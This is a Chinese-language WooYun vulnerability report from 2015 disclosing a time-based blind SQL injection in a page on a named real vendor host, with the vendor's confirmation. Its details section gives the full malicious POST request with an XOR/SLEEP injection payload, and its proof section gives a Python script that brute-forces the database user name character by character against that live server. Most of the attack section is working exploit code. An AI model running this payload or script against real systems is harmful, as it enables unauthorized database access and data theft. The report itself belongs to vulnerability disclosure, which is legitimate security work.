当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0161836

漏洞标题:硅谷动力某站SQL注入漏洞(附验证脚本)

相关厂商:enet.com.cn

漏洞作者: 路人甲

提交时间:2015-12-16 16:23

修复时间:2016-02-01 17:24

公开时间:2016-02-01 17:24

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-16: 细节已通知厂商并且等待厂商处理中
2015-12-21: 厂商已经确认,细节仅向厂商公开
2015-12-31: 细节向核心白帽子及相关领域专家公开
2016-01-10: 细节向普通白帽子公开
2016-01-20: 细节向实习白帽子公开
2016-02-01: 细节向公众公开

简要描述:

详细说明:

POST /elady/amour/result.jsp HTTP/1.1
Content-Length: 110
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://epa6.enet.com.cn
Cookie: JSESSIONID=abc64FJODCC_U_LQkeCgv
Host: epa6.enet.com.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
qg_hour=23&qg_type=ds&type=qinggan&qinggandate='XOR(if(now()=sysdate(),sleep(if(length(user())=21,3,0)),0))OR'

1.jpg

漏洞证明:

222.jpg

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Content-Type':'application/x-www-form-urlencoded'}
payloads = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.')
print '[%s] Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localtime())
user = ''
for i in range(1, 22):

for payload in payloads:

s = "'XOR(if(now()=sysdate(),SLEEP(IF(mid(user(),%s,1)='%s',10,0)),0))OR'" % (i, payload)

s = "qg_hour=23&qg_type=ds&type=qinggan&qinggandate="+s

conn = httplib.HTTPConnection('epa6.enet.com.cn', timeout=90)
start_time = time.time()
conn.request('POST','/elady/amour/result.jsp',s,headers)
h=conn.getresponse().read()
conn.close()
print '.',
#print time.time() - start_time
if time.time() - start_time > 10.0:
user += payload
print '\n\n[in progress]', user,
break
print '\n[Done] MySQL user is %s' % user

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-12-21 08:05

厂商回复:

confirm

最新状态:

暂无